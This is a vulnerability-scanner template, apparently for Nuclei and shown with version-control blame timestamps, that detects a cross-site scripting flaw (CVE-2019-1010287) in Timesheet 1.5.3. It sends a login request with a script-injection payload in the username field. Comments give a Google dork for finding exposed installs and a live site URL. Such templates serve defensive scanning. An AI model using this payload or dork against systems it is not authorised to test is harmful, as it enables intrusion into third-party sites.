2020-09-15 19:25:55 +00:00
|
|
|
id: cve-2019-1010287
|
2020-09-04 10:01:06 +00:00
|
|
|
|
|
|
|
info:
|
|
|
|
name: Timesheet 1.5.3 - Cross Site Scripting
|
|
|
|
author: pikpikcu
|
2020-09-05 07:40:46 +00:00
|
|
|
severity: high
|
2020-09-04 10:01:06 +00:00
|
|
|
|
|
|
|
# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
|
|
|
|
# Google-Dork: inurl:"/timesheet/login.php"
|
|
|
|
# Demo: http://www.mdh-tz.info/
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw: # Metod POST From login.php
|
|
|
|
- |
|
|
|
|
POST /timesheet/login.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
|
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
|
|
Accept-Language: en-US,en;q=0.5
|
|
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
Content-Length: 91
|
|
|
|
DNT: 1
|
|
|
|
Connection: keep-alive
|
|
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
|
|
|
|
username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- '><script>javascript:alert(document.domain)</script>'
|
|
|
|
part: body
|